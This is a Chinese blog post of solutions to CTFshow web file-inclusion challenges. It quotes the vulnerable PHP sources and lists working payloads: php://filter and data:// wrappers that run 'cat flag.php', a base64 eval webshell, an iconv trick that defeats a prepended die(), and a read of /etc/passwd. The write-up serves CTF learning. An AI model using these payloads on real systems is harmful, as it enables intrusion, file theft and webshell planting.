安小琪's blog

少年有梦,不应止于心动

CTFshow_web入门_文件包含

CTFshow_web入门_文件包含

web 78

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

web 79

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

关于日志文件包含的知识点这个文章里已经写的很详细了日志文件包含

可能要多发包几次

web 82-86

解法单独写了一篇文章:利用PHP-SESSION-UPLOAD-PROGRESS进行文件包含

web 87

P神文章奉上:谈一谈php://filter的妙用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

先分析一下这个代码,主要就是说过滤了php、data、: 、. ,然后将content参数的值写入到file参数所定义的文件里,但是一同写入的还有,在开头增加了die的过程,导致即使我们成功写入一句话,也执行不了

我们所要做的就是绕过die ,从而执行我们写入的一句话,如何绕或在P神的文章里写了很详细了,总共有三种方法,不过我在这个题目,尝试这三种方法,但只有一种成功。可能是因为版本原因或是别的….,导致另外两种方法执行失败

我用的是base64-decode的解法

1
2
3
4
5

将 php://filter/read=convert.base64-encode/resource=123.php 进行两次url编码,得到如下

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%32%25%36%35%25%36%31%25%36%34%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%35%25%36%45%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30%0D%0A

然后再content写入经过base64编码过后的一句话 (PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==)

之后来到123.php页面,命令执行即可

web 88

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

即 ?file=data://text/plain;base64,

web116

hint: misc+lfi

既然提示了misc,那就按照misc的常见解法,把视频下载下来,binwalk 分离试下,得到一张图片。图片内容如下:

尝试

?file=/etc/passwd

把视频下载下来,notepad++打开发现确实是/etc/passwd文件内容,知道了思路,接下去就简单了

payload:

?file=compress.zlib:///var/www/html/flag.php

?file=flag.php

web117

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

死亡die绕过

可以使用convert.iconv.*
file_put_content和死亡·杂糅代码之缘
原理:对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。

构造

1
2
get:?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?